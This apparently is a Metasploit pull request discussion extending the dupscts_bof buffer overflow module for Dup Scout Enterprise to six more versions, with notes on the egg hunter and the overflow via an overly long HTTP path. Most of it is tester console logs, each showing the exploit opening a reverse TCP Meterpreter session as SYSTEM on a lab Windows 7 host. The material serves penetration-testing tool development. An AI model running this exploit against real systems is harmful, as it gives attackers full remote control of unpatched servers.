dupscts_bof: Add additional targets and auto targeting

[bcoles]

• Resolve Rubocop violations
• Add AutoCheck
• Add Notes
• Add References
• Add a bunch of new targets
• Add auto targeting

Targets

This module originally targeted version 9.5.14. The bug exists in many prior versions (all?) and up until version 10.0.18. This PR adds six new targets for these versions, from 8.3.16 to 10.0.18.

Unfortunately it seems that the 9.5.14 installer no longer exists (#8303 (comment)) so I wasn't able to test on this version.

The original module uses an egg hunter. I'm not sure why as there is ample space (500+ bytes). (ample space for a reverse shell payload, but not for meterpreter). Unfortunately, as the egg hunter is x86 only, this means that this module can only target x86 versions of the software on x86 operating systems. The bug is certainly exploitable on x86 versions of the software on x64 operating systems.

I could have removed the egg hunter, but that would effectively be a rewrite of this module, and I wouldn't be able to verify (with certainty) that the changes had not broken the existing 9.5.14 target. I figured the best solution was to leave it as is.

References

It appears that the vendor was initially unresponsive to the vulnerability (hence still being exploitable long after version 9.5.14). There have been many bugs in this software and every man and his dog has dropped an exploit for it. Most are fairly similar and I've added a few to as references, even though this module pre-dates them.

At least one exploit on exploitdb claims to exploit a different parameter in a HTTP GET URL, but adjusting the offset for the URL path and parameter reveals it is exploitable in an identical manner to the overflow triggered simply by an overly long path, suggesting that the parameter is irrelevant (I haven't verified).

This module was originally written by Daniel Teixeira and vportal is credited with discovery and PoC. These attributions have not changed in this PR.

Edit: As best I can tell, vportal (Victor Portal) is an incorrect attribution. It probably comes from here which is a different bug.

Reverse engineering attribution is a tedious process in which I have no further interest. If you feel you should be attributed you're welcome to argue in the comments.

Note that this module is different from the overflow triggered by an overly long username (or password) in a login POST request, which also has a messy history and several exploits.

[space-r7]

This worked great, thanks for all of the additions! I tested all of the available targets only on WIndows 7 x86 SP1:

v8.3.16

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 8.3.16.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 8.3.16.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v8.3.16 (x86)
[*] Sending payload (6633 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 5 opened (192.168.37.1:4444 -> 192.168.37.135:49193) at 2021-04-01 12:19:00 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

v8.4.16

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 8.4.16.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 8.4.16.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v8.4.16 (x86)
[*] Sending payload (6633 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 6 opened (192.168.37.1:4444 -> 192.168.37.135:49193) at 2021-04-01 12:21:16 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

v9.0.28

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 9.0.28.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 9.0.28.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v9.0.28 (x86)
[*] Sending payload (6633 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.135:49421) at 2021-04-01 12:06:06 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

v9.1.14

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 9.1.14.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 9.1.14.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v9.1.14 (x86)
[*] Sending payload (6633 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.135:49193) at 2021-04-01 12:09:34 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

v9.9.14

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 9.9.14.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 9.9.14.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v9.9.14 (x86)
[*] Sending payload (8577 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 4 opened (192.168.37.1:4444 -> 192.168.37.135:49193) at 2021-04-01 12:17:20 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

v10.0.18

msf6 exploit(windows/http/dupscts_bof) > check
[*] 192.168.37.135:80 - The target appears to be vulnerable. Dup Scout Enterprise version 10.0.18.
msf6 exploit(windows/http/dupscts_bof) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Dup Scout Enterprise version 10.0.18.
[*] Selecting a target...
[*] Using target: Dup Scout Enterprise v10.0.18 (x86)
[*] Sending payload (8577 bytes) ...
[*] Sending stage (175174 bytes) to 192.168.37.135
[*] Meterpreter session 3 opened (192.168.37.1:4444 -> 192.168.37.135:49193) at 2021-04-01 12:11:53 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-J37EL2PBIMM
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Code LGTM

[space-r7]

Release Notes

Updated the exploit/windows/http/dupscts_bof module with additional coverage for six more vulnerable versions of the Dup Scout Enterprise software, leveraging auto-targeting, and adding module traits and references.